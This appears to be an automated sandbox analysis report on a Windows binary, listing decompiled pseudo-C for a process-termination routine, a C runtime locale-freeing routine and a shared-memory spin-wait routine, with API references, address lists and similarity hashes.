																			_t161 =  &_v76;
																			_t114 = E00056700(_t158,  &_v76);
																			__eflags = _t114;
																			if(_t114 == 0) {
																				goto L43;
																			} else {
																				_t185 = TerminateProcess(_v76, 1);
																				_t128 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
																				_t200 = _t200 + 0xc;
																				__eflags = _t128;
																				if(_t128 == 0) {
																					goto L57;
																				} else {
																					__eflags = _t185;
																					if(_t185 != 0) {
																						_t114 = CloseHandle(_v76);
																						_v76 = 0xffffffff;
																					} else {
																						_t114 = GetLastError();
																					}
																					goto L43;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
										goto L64;
									}
									_t162 =  &_v48;
									E00056210(_t162, "running error", _t161, _v16);
									E001047B7( &_v48, 0x16cddc);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t185);
									_t186 = _t162;
									_t104 =  *(_t186 + 0x24);
									__eflags = _t104;
									if(_t104 != 0) {
										__eflags = _t104 - _t186;
										if(_t104 != _t186) {
											_push(8);
											_t104 = E000ED2D0(_t104);
										}
										 *(_t186 + 0x24) = 0;
									}
									return _t104;
								}
							} else {
								goto L10;
							}
						}
					}
				}
				L64:
			}

0x0005af90
0x0005af90
0x0005af91
0x0005af93
0x0005af95
0x0005afa0
0x0005afa7
0x0005afac
0x0005afae
0x0005afb1
0x0005afb4
0x0005afb8
0x0005afbe
0x0005afc0
0x0005afc3
0x0005afcf
0x0005afd7
0x0005afe3
0x0005afea
0x0005afef
0x0005aff4
0x0005b196
0x00000000
0x0005affa
0x0005b006
0x0005b00d
0x0005b010
0x0005b017
0x0005b01a
0x0005b021
0x0005b028
0x0005b02f
0x0005b033
0x0005b036
0x0005b03f
0x0005b041
0x0005b045
0x0005b047
0x0005b049
0x0005b049
0x0005b04b
0x0005b04e
0x0005b050
0x0005b050
0x0005b057
0x0005b05b
0x0005b05c
0x0005b05d
0x0005b05e
0x0005b063
0x0005b063
0x0005b069
0x0005b082
0x0005b087
0x0005b08a
0x0005b08e
0x0005b091
0x0005b09b
0x0005b0c9
0x0005b0cd
0x0005b0d4
0x0005b0db
0x0005b0df
0x0005b0f7
0x0005b0fe
0x0005b103
0x0005b106
0x0005b108
0x0005b10b
0x0005b110
0x0005b110
0x0005b116
0x0005b12a
0x0005b132
0x0005b142
0x0005b150
0x0005b15a
0x0005b16b
0x0005b16e
0x0005b173
0x0005b16b
0x0005b17b
0x0005b193
0x0005b09d
0x0005b09d
0x0005b0a0
0x0005b0a1
0x0005b0a9
0x0005b0bf
0x0005b0bf
0x0005b0c1
0x0005b0c6
0x00000000
0x0005b0ab
0x0005b0ab
0x0005b0ae
0x0005b0b9
0x0005b19b
0x0005b19b
0x0005b1a0
0x0005b1a1
0x0005b1a2
0x0005b1a3
0x0005b1a4
0x0005b1a5
0x0005b1a6
0x0005b1a7
0x0005b1a8
0x0005b1a9
0x0005b1aa
0x0005b1ab
0x0005b1ac
0x0005b1ad
0x0005b1ae
0x0005b1af
0x0005b1b0
0x0005b1b6
0x0005b1b7
0x0005b1b8
0x0005b1be
0x0005b1c0
0x0005b1d1
0x0005b1d4
0x0005b1d9
0x0005b1dc
0x0005b1de
0x0005b3f2
0x0005b3f2
0x00000000
0x0005b1e4
0x0005b1e4
0x0005b1ea
0x0005b1f0
0x0005b1f3
0x0005b1fa
0x0005b1fd
0x0005b202
0x0005b205
0x0005b207
0x00000000
0x00000000
0x0005b20d
0x0005b20f
0x0005b3d7
0x0005b215
0x0005b215
0x0005b218
0x0005b21a
0x0005b3f7
0x0005b3f7
0x00000000
0x0005b220
0x0005b227
0x0005b22e
0x0005b233
0x0005b235
0x0005b239
0x0005b23c
0x0005b23f
0x0005b242
0x0005b245
0x0005b248
0x0005b24f
0x0005b256
0x0005b25d
0x0005b264
0x0005b267
0x0005b269
0x0005b26b
0x0005b26e
0x0005b273
0x0005b275
0x0005b277
0x0005b27c
0x0005b3d8
0x0005b3da
0x0005b3da
0x0005b282
0x0005b285
0x0005b28a
0x0005b28c
0x0005b28e
0x0005b290
0x0005b293
0x0005b298
0x0005b3e1
0x0005b29e
0x0005b2a0
0x0005b2a0
0x0005b298
0x0005b28a
0x0005b273
0x0005b2ab
0x0005b2bb
0x0005b2be
0x0005b2c2
0x0005b2c7
0x0005b2ca
0x0005b2cc
0x00000000
0x0005b2d2
0x0005b2d2
0x0005b2d6
0x0005b366
0x0005b366
0x0005b369
0x0005b36b
0x0005b36d
0x0005b370
0x0005b375
0x0005b377
0x0005b379
0x0005b37e
0x0005b3e8
0x0005b3ea
0x0005b3ea
0x0005b380
0x0005b383
0x0005b388
0x0005b38a
0x0005b38c
0x0005b38e
0x0005b391
0x0005b396
0x0005b3ee
0x0005b398
0x0005b39a
0x0005b39a
0x0005b396
0x0005b388
0x0005b375
0x0005b3a0
0x0005b3a5
0x0005b3b6
0x0005b3bd
0x0005b3c2
0x0005b3c5
0x0005b3c8
0x0005b3ca
0x00000000
0x0005b3cc
0x00000000
0x0005b3cc
0x0005b2dc
0x0005b2dc
0x0005b2e0
0x00000000
0x0005b2e6
0x0005b2e9
0x0005b2eb
0x0005b2f0
0x00000000
0x0005b2f2
0x0005b2f5
0x0005b2f6
0x0005b2f9
0x0005b2fe
0x0005b300
0x00000000
0x0005b302
0x0005b302
0x0005b305
0x0005b307
0x0005b362
0x0005b362
0x00000000
0x0005b309
0x0005b309
0x0005b30c
0x00000000
0x0005b30e
0x0005b311
0x0005b312
0x0005b315
0x0005b31a
0x0005b31c
0x00000000
0x0005b31e
0x0005b338
0x0005b33a
0x0005b33f
0x0005b342
0x0005b344
0x00000000
0x0005b34a
0x0005b34a
0x0005b34c
0x0005b359
0x0005b35b
0x0005b34e
0x0005b34e
0x0005b34e
0x00000000
0x0005b34c
0x0005b344
0x0005b31c
0x0005b30c
0x0005b307
0x0005b300
0x0005b2f0
0x0005b2e0
0x0005b2d6
0x0005b2cc
0x0005b21a
0x00000000
0x0005b20f
0x0005b405
0x0005b408
0x0005b416
0x0005b41b
0x0005b41c
0x0005b41d
0x0005b41e
0x0005b41f
0x0005b420
0x0005b421
0x0005b423
0x0005b426
0x0005b428
0x0005b42a
0x0005b42c
0x0005b42e
0x0005b431
0x0005b436
0x0005b439
0x0005b439
0x0005b441
0x0005b441
0x00000000
0x00000000
0x00000000
0x0005b0b9
0x0005b0a9
0x0005b09b
0x00000000

APIs

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

Part of subcall function 000D9BF8: __CxxThrowException@8.LIBVCRUNTIME ref: 000D9C0F

__CxxThrowException@8.LIBVCRUNTIME ref: 0005B416

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 00056700: GetExitCodeProcess.KERNEL32(00000040,?), ref: 0005673A
Part of subcall function 00056700: GetLastError.KERNEL32(?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 00056763
Part of subcall function 00056700: AreFileApisANSI.KERNEL32(00056511,00000040,?,?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 000567F5
Part of subcall function 00056700: MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 0005681B

Part of subcall function 0005AF90: __Mtx_unlock.LIBCPMT ref: 0005B161
Part of subcall function 0005AF90: CloseHandle.KERNEL32(?), ref: 0005B22E
Part of subcall function 0005AF90: CloseHandle.KERNEL32(?), ref: 0005B233
Part of subcall function 0005AF90: TerminateProcess.KERNEL32(FFFFFFFF,00000001,?,?), ref: 0005B323
Part of subcall function 0005AF90: GetLastError.KERNEL32 ref: 0005B34E
Part of subcall function 0005AF90: CloseHandle.KERNEL32(FFFFFFFF), ref: 0005B359
Part of subcall function 0005AF90: CloseHandle.KERNEL32(FFFFFFFF), ref: 0005B3A0
Part of subcall function 0005AF90: CloseHandle.KERNEL32(FFFFFFFF), ref: 0005B3A5

Strings

running error, xrefs: 0005B400
c:/.log, xrefs: 0005B125

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$ErrorException@8LastProcessThrow_free$ApisByteCharCodeExceptionExitFileMtx_unlockMultiRaiseTerminateWide_abort
String ID: c:/.log$running error
API String ID: 514366014-3320011131
Opcode ID: 905fa61e83a52798405ca2cf10c3770eafd54636aef6b2ecd2a2920a0307dedb
Instruction ID: 250cecd003b2afaf5e3f497794121742ce5a456ba60094ee161d83e344ea1199
Opcode Fuzzy Hash: 905fa61e83a52798405ca2cf10c3770eafd54636aef6b2ecd2a2920a0307dedb
Instruction Fuzzy Hash: 56D1D270E00208ABDB20DFA4DD45BEEBBB5AF44315F544119F815B7282DBB1AE48CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 00126025, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00126025(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x16f330) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E0011D5C7(_t46);
							E001253B8( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E0011D5C7(_t47);
							E00125872( *((intOrPtr*)(_t74 + 0x88)));
						}
						E0011D5C7( *((intOrPtr*)(_t74 + 0x7c)));
						E0011D5C7( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E0011D5C7( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E0011D5C7( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E0011D5C7( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E0011D5C7( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00126198( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x16f4a8) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E0011D5C7(_t31);
							E0011D5C7( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E0011D5C7(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E0011D5C7(_t74);
			}

0x0012602d
0x00126031
0x00126039
0x00126042
0x00126047
0x0012604e
0x00126056
0x0012605e
0x00126069
0x0012606f
0x00126070
0x00126078
0x00126080
0x0012608b
0x00126091
0x00126095
0x001260a0
0x001260a6
0x00126047
0x001260a7
0x001260af
0x001260c2
0x001260d5
0x001260e3
0x001260ee
0x001260f3
0x001260fc
0x00126104
0x00126105
0x0012610b
0x0012610e
0x00126111
0x00126118
0x0012611a
0x0012611e
0x00126126
0x0012612d
0x00126133
0x00126134
0x00126134
0x0012613b
0x0012613d
0x00126142
0x0012614a
0x0012614f
0x00126150
0x00126150
0x00126153
0x00126156
0x00126159
0x0012615c
0x0012615c
0x0012616e

APIs

_free.LIBCMT ref: 0012605E
___free_lconv_mon.LIBCMT ref: 00126069

Part of subcall function 001253B8: _free.LIBCMT ref: 001253D5
Part of subcall function 001253B8: _free.LIBCMT ref: 001253E7
Part of subcall function 001253B8: _free.LIBCMT ref: 001253F9
Part of subcall function 001253B8: _free.LIBCMT ref: 0012540B
Part of subcall function 001253B8: _free.LIBCMT ref: 0012541D
Part of subcall function 001253B8: _free.LIBCMT ref: 0012542F
Part of subcall function 001253B8: _free.LIBCMT ref: 00125441
Part of subcall function 001253B8: _free.LIBCMT ref: 00125453
Part of subcall function 001253B8: _free.LIBCMT ref: 00125465
Part of subcall function 001253B8: _free.LIBCMT ref: 00125477
Part of subcall function 001253B8: _free.LIBCMT ref: 00125489
Part of subcall function 001253B8: _free.LIBCMT ref: 0012549B
Part of subcall function 001253B8: _free.LIBCMT ref: 001254AD

_free.LIBCMT ref: 00126080

Part of subcall function 00125872: _free.LIBCMT ref: 0012588A
Part of subcall function 00125872: _free.LIBCMT ref: 0012589C
Part of subcall function 00125872: _free.LIBCMT ref: 001258AE
Part of subcall function 00125872: _free.LIBCMT ref: 001258C0
Part of subcall function 00125872: _free.LIBCMT ref: 001258D2

_free.LIBCMT ref: 00126095
_free.LIBCMT ref: 001260A0
_free.LIBCMT ref: 001260C2
_free.LIBCMT ref: 001260D5
_free.LIBCMT ref: 001260E3
_free.LIBCMT ref: 001260EE

Part of subcall function 00126198: _free.LIBCMT ref: 001261BE

_free.LIBCMT ref: 00126126
_free.LIBCMT ref: 0012612D
_free.LIBCMT ref: 0012614A
_free.LIBCMT ref: 00126162

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: b90dcc50e82ff35a1dba87019515e9fee2821daf38418ee87004fe8e94c3b1a0
Instruction ID: 98feefefa42951c62e6c57c396ce16d8f4e504adea23859a6d761e23216a0962
Opcode Fuzzy Hash: b90dcc50e82ff35a1dba87019515e9fee2821daf38418ee87004fe8e94c3b1a0
Instruction Fuzzy Hash: EA3178716002109FEF24AA38F841BAAB3FAAF50314F148529F459D7692DF31FDA0DB24

Uniqueness

Uniqueness Score: 1.09%

Function 00075260, Relevance: 18.3, APIs: 12, Instructions: 301
filesleepthreadUNIQUE

Download Yara Rule

C-Code - Quality: 58%

			E00075260(void* __ebx, intOrPtr __ecx, signed char __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8, signed char _a12, intOrPtr _a24, signed char* _a28, signed char _a32) {
				signed char _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char _v32;
				char _v48;
				signed char _v56;
				intOrPtr _v60;
				signed char _v64;
				char _v80;
				char _v88;
				char _v132;
				char _v176;
				char _v220;
				char _v264;
				signed int _v272;
				signed char _v276;
				char _v284;
				intOrPtr _v288;
				signed char _v296;
				long _v300;
				signed char _v304;
				signed char* _v308;
				void* _v312;
				intOrPtr _v320;
				signed char _v328;
				void* _v332;
				intOrPtr _v340;
				signed char _v348;
				char _v356;
				char _v364;
				char _v372;
				char _v380;
				struct _SYSTEM_INFO _v416;
				char* _v456;
				void* __ebp;
				signed int _t93;
				signed int _t94;
				intOrPtr _t96;
				signed char* _t104;
				signed char _t105;
				intOrPtr* _t107;
				signed char _t108;
				long _t109;
				void* _t110;
				signed char _t111;
				int _t112;
				signed char _t116;
				char* _t122;
				signed char _t123;
				signed char* _t124;
				signed char _t127;
				void* _t128;
				void* _t132;
				void* _t134;
				void* _t138;
				void* _t142;
				void* _t152;
				signed char _t157;
				intOrPtr* _t165;
				signed char _t169;
				signed char _t173;
				char* _t183;
				signed char _t185;
				intOrPtr _t191;
				signed char _t194;
				signed char _t197;
				void* _t201;
				signed int _t202;
				void* _t204;
				intOrPtr _t205;

				_t193 = __edi;
				_push(0xffffffff);
				_push(0x12f936);
				_push( *[fs:0x0]);
				_t205 = _t204 - 0x194;
				_t93 =  *0x16f170; // 0xd529e887
				_t94 = _t93 ^ _t202;
				_v24 = _t94;
				_push(__edi);
				_push(_t94);
				 *[fs:0x0] =  &_v16;
				_v20 = _t205;
				_t162 = __ecx;
				_v288 = __ecx;
				_t165 = _a8;
				_t191 = _a24;
				_v56 = 0;
				_v32 = 0;
				_v28 = 0xf;
				_v48 = 0;
				_t96 = _a4;
				_v8 = 0;
				if(_t96 == 1) {
					_v64 = 0;
					_v60 = 0xf;
					_v80 = 0;
					_v8 = 1;
					_v304 = 0;
					E00055DF0(__ecx,  &_v88, __edi, 1,  *_t165, 0xc0000000, 0,  &_v304);
					_v8 = 0;
					E00055DA0( &_v88,  &_v56);
					E00055D40(__ecx,  &_v88, __edi);
					goto L13;
				} else {
					_t197 = _a12;
					if(_t197 < 0x78) {
						_push(_t165);
						_t134 = E000556A0( &_v356, 0x12);
						_t183 =  &_v132;
						E000557B0(__ecx, _t183, __edi, _t197, _t134);
						E001047B7( &_v132, 0x16cb2c);
						goto L54;
					} else {
						if(_t96 != 0) {
							L13:
							_t205 = _t205 - 0x14;
							_t169 =  &_v348;
							_push(0xc0000000);
							E0007D0D0(_t169,  &_v56);
							_v8 = 0xd;
							_t104 = _v348;
							_v308 = _t104;
							_t105 =  *_t104;
							_t162 = Sleep;
							_t194 = 0;
							asm("xorps xmm0, xmm0");
							_v276 = 0;
							_t197 = 0;
							__eflags = 0;
							asm("movlpd [ebp-0x118], xmm0");
							_v272 = 0;
							while(1) {
								__eflags = _t105 - 1;
								if(_t105 == 1) {
									goto L16;
								}
								__eflags = _t105;
								if(_t105 == 0) {
									goto L16;
								}
								__eflags = _t105 - 2;
								if(_t105 != 2) {
									goto L56;
								} else {
									_t123 = _a32;
									_t173 = _v348 + 8;
									__eflags = _t123 - 1;
									if(_t123 == 1) {
										L45:
										_t124 = _a28;
										__eflags =  *_t124;
										if( *_t124 == 0) {
											 *_t124 = _t173;
										}
									} else {
										__eflags = _t123;
										if(_t123 != 0) {
											goto L45;
										}
									}
									E00055C40(_v288,  &_v348);
									_t127 = _v348;
									__eflags = _t127;
									if(_t127 != 0) {
										_t132 = _t127 - _v340;
										__eflags = _t132;
										UnmapViewOfFile(_t132);
										_v348 = 0;
									}
									_t128 = _v332;
									goto L50;
								}
								goto L58;
								L16:
								__eflags = _t197;
								if(_t197 == 0) {
									_t116 =  *0x17a678; // 0x4
									__eflags = _t116;
									if(_t116 == 0) {
										GetSystemInfo( &_v416);
										_t116 = _v416.dwNumberOfProcessors;
									}
									_t169 = 1;
									__eflags = 1 - _t116;
									asm("sbb esi, esi");
									_t197 = (_t197 & 0xffffffe0) + 0x20;
									__eflags = _t197;
									_v272 = _t197;
								}
								__eflags = _t197 - 8;
								if(_t197 >= 8) {
									__eflags = _t197 - 0x20;
									if(__eflags >= 0) {
										if(__eflags != 0) {
											__eflags = _t194;
											if(_t194 != 0) {
												_t107 = E000641A0(8);
												_t108 =  *_t107( &_v300);
												__eflags = _t108;
												if(_t108 != 0) {
													_t169 = _v296;
													_t109 = _v300;
												} else {
													_t109 = GetTickCount();
													_t169 = 0;
													_v300 = _t109;
													_v296 = 0;
												}
												_t110 = _t109 - _v284;
												asm("sbb ecx, [ebp-0x114]");
												__eflags = _t169;
												if(__eflags > 0) {
													L38:
													_t111 = 0;
													__eflags = 0;
												} else {
													if(__eflags < 0) {
														L37:
														_t111 = 1;
													} else {
														__eflags = _t110 - _t194;
														if(_t110 >= _t194) {
															goto L38;
														} else {
															goto L37;
														}
													}
												}
												__eflags = _t111;
												if(_t111 != 0) {
													goto L27;
												} else {
													_v276 = 0;
													goto L41;
												}
												goto L58;
											} else {
												__eflags = _v272 & 0x00000001;
												if((_v272 & 0x00000001) == 0) {
													L41:
													_push(1);
													goto L29;
												} else {
													L27:
													_t112 = SwitchToThread();
													__eflags = _t112;
													if(_t112 == 0) {
														_push(_t112);
														L29:
														Sleep();
													}
												}
											}
										} else {
											_t169 =  &_v284;
											E00055A90(_t169);
											_t197 = _v272;
										}
									} else {
										asm("pause");
									}
								}
								_v272 = _t197 + 1;
								_t105 =  *_v308;
								_t197 = _v272;
								_t194 = _v276;
							}
						} else {
							_push(_v288);
							_push(_t191);
							_push(_t197);
							E0007CFF0( &_v56, _t165, __edi, _t197);
							_t205 = _t205 - 8;
							_v8 = 6;
							_push(0xc0000000);
							E0007D0D0( &_v328,  &_v56);
							_v8 = 7;
							_t185 = 1;
							_t193 = _v328;
							asm("lock cmpxchg [edi], ecx");
							if(0 != 0) {
								__eflags = 0 - 1;
								if(0 != 1) {
									__eflags = 0 - 2;
									if(0 != 2) {
										L54:
										_push(_t183);
										_t138 = E000556A0( &_v364, 0x13);
										_t185 =  &_v176;
										E000557B0(_t162, _t185, _t193, _t197, _t138);
										E001047B7( &_v176, 0x16cb2c);
									}
								}
								_push(_t185);
								_t142 = E000556A0( &_v372, 9);
								_t169 =  &_v220;
								E000557B0(_t162, _t169, _t193, _t197, _t142);
								E001047B7( &_v220, 0x16cb2c);
								_v20 = _t205;
								_v8 = 0xa;
								E001047B7(0, 0);
								L56:
								_push(_t169);
								E000557B0(_t162,  &_v264, _t194, _t197, E000556A0( &_v380, 0x13));
								E001047B7( &_v264, 0x16cb2c);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t202);
								_t122 = _v456;
								 *_t122 = 0;
								return _t122;
							} else {
								_t201 = _t197 + 0xfffffff8;
								_t152 = _v328 + 8;
								if(_a32 != 1) {
									E00077FC0(_t152, _t201);
								}
								E00055C40(_t162,  &_v328);
								 *_t193 = 2;
								_t157 = _v328;
								if(_t157 != 0) {
									UnmapViewOfFile(_t157 - _v320);
									_v328 = 0;
								}
								_t128 = _v312;
								L50:
								if(_t128 != 0xffffffff) {
									CloseHandle(_t128);
								}
								E00055D40(_t162,  &_v56, _t194);
								 *[fs:0x0] = _v16;
								return E000ECED8(_v24 ^ _t202);
							}
						}
					}
				}
				L58:
			}

0x00075260
0x00075263
0x00075265
0x00075270
0x00075271
0x00075277
0x0007527c
0x0007527e
0x00075283
0x00075284
0x00075288
0x0007528e
0x00075291
0x00075293
0x00075299
0x0007529c
0x0007529f
0x000752a6
0x000752ad
0x000752b4
0x000752b8
0x000752bb
0x000752c5
0x00075399
0x000753a0
0x000753a7
0x000753b1
0x000753c2
0x000753ce
0x000753d6
0x000753de
0x000753e6
0x00000000
0x000752cb
0x000752cb
0x000752d1
0x000755da
0x000755e3
0x000755e9
0x000755ec
0x000755fa
0x00000000
0x000752d7
0x000752d9
0x000753eb
0x000753eb
0x000753f1
0x000753f7
0x000753fd
0x00075402
0x00075406
0x0007540c
0x00075412
0x00075414
0x0007541a
0x0007541c
0x0007541f
0x00075425
0x00075425
0x00075427
0x0007542f
0x00075435
0x00075435
0x00075438
0x00000000
0x00000000
0x0007543a
0x0007543c
0x00000000
0x00000000
0x00075547
0x0007554a
0x00000000
0x00075550
0x00075556
0x00075559
0x0007555c
0x0007555f
0x00075565
0x00075565
0x00075568
0x0007556b
0x0007556d
0x0007556d
0x00075561
0x00075561
0x00075563
0x00000000
0x00000000
0x00075563
0x0007557c
0x00075581
0x00075587
0x00075589
0x0007558b
0x0007558b
0x00075592
0x00075598
0x00075598
0x000755a2
0x00000000
0x000755a2
0x00000000
0x00075442
0x00075442
0x00075444
0x00075446
0x0007544b
0x0007544d
0x00075456
0x0007545c
0x0007545c
0x00075462
0x00075467
0x00075469
0x0007546e
0x0007546e
0x00075471
0x00075471
0x00075477
0x0007547a
0x0007547c
0x0007547f
0x00075485
0x0007549a
0x0007549c
0x000754de
0x000754ea
0x000754ec
0x000754ee
0x00075506
0x0007550c
0x000754f0
0x000754f0
0x000754f6
0x000754f8
0x000754fe
0x000754fe
0x00075512
0x00075518
0x0007551e
0x00075520
0x0007552c
0x0007552c
0x0007552c
0x00075522
0x00075522
0x00075528
0x00075528
0x00075524
0x00075524
0x00075526
0x00000000
0x00000000
0x00000000
0x00000000
0x00075526
0x00075522
0x0007552e
0x00075530
0x00000000
0x00075536
0x00075536
0x00000000
0x00075536
0x00000000
0x0007549e
0x000754a4
0x000754a6
0x00075540
0x00075540
0x00000000
0x000754ac
0x000754ac
0x000754ac
0x000754b2
0x000754b4
0x000754b6
0x000754b7
0x000754b7
0x000754b7
0x000754b4
0x000754a6
0x00075487
0x00075487
0x0007548d
0x00075492
0x00075492
0x00075481
0x00075481
0x00075481
0x0007547f
0x000754c0
0x000754c6
0x000754c8
0x000754ce
0x000754ce
0x000752df
0x000752df
0x000752e5
0x000752eb
0x000752ec
0x000752f1
0x000752f4
0x00075301
0x00075307
0x0007530c
0x00075310
0x00075315
0x0007531d
0x00075323
0x00075382
0x00075385
0x0007538b
0x0007538e
0x000755ff
0x000755ff
0x00075608
0x0007560e
0x00075614
0x00075625
0x00075625
0x0007538e
0x0007562a
0x00075633
0x00075639
0x0007563f
0x00075650
0x00075655
0x0007565c
0x00075663
0x00075668
0x00075668
0x0007567d
0x0007568e
0x00075693
0x00075694
0x00075695
0x00075696
0x00075697
0x00075698
0x00075699
0x0007569a
0x0007569b
0x0007569c
0x0007569d
0x0007569e
0x0007569f
0x000756a0
0x000756a3
0x000756a6
0x000756aa
0x00075325
0x0007532b
0x0007532e
0x00075335
0x0007533c
0x0007533c
0x0007534a
0x00075354
0x00075356
0x0007535e
0x00075367
0x0007536d
0x0007536d
0x00075377
0x000755a8
0x000755ab
0x000755ae
0x000755ae
0x000755b7
0x000755bf
0x000755d7
0x000755d7
0x00075323
0x000752d9
0x000752d1
0x00000000

APIs

UnmapViewOfFile.KERNEL32(?,00000000,C0000000,00000000,7757EEF2), ref: 00075367

Part of subcall function 00055DF0: OpenFileMappingA.KERNEL32(00000005,00000000,0015063E), ref: 00055E9F
Part of subcall function 00055DF0: CreateFileMappingA.KERNEL32(000000FF,0015063E,00000002,00000000,?,0015063E), ref: 00055EBB
Part of subcall function 00055DF0: GetLastError.KERNEL32 ref: 00055ECB
Part of subcall function 00055DF0: GetLastError.KERNEL32 ref: 00055EF1
Part of subcall function 00055DF0: __CxxThrowException@8.LIBVCRUNTIME ref: 00055F20
Part of subcall function 00055DF0: __CxxThrowException@8.LIBVCRUNTIME ref: 00055F47
Part of subcall function 00055DF0: __CxxThrowException@8.LIBVCRUNTIME ref: 00055F6E

Part of subcall function 00055D40: CloseHandle.KERNEL32(00000000), ref: 00055D4A

Part of subcall function 0007D0D0: GetSystemInfo.KERNEL32(?,D529E887,?,00000000,00000000), ref: 0007D181
Part of subcall function 0007D0D0: GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D1A5
Part of subcall function 0007D0D0: MapViewOfFileEx.KERNEL32(?,00000004,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0007D1F4
Part of subcall function 0007D0D0: GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D1FE
Part of subcall function 0007D0D0: CloseHandle.KERNEL32(000000FF), ref: 0007D229
Part of subcall function 0007D0D0: GetCurrentProcess.KERNEL32(?,00000000,00000000), ref: 0007D235
Part of subcall function 0007D0D0: GetCurrentProcess.KERNEL32(?,00000000,00000000), ref: 0007D239
Part of subcall function 0007D0D0: DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000002), ref: 0007D24A
Part of subcall function 0007D0D0: GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D254
Part of subcall function 0007D0D0: __CxxThrowException@8.LIBVCRUNTIME ref: 0007D2DF

GetSystemInfo.KERNEL32(?,00000000,C0000000), ref: 00075456
GetTickCount.KERNEL32 ref: 000754F0

Part of subcall function 00055A90: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00055B08
Part of subcall function 00055A90: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00055B17
Part of subcall function 00055A90: GetTickCount.KERNEL32(?,-00000001,?,A4C67FFF,00038D7E,?,?), ref: 00055B39

SwitchToThread.KERNEL32(00000000,C0000000), ref: 000754AC
Sleep.KERNEL32(00000000), ref: 000754B7

Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 000641DA
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 000641E9
Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 00064244
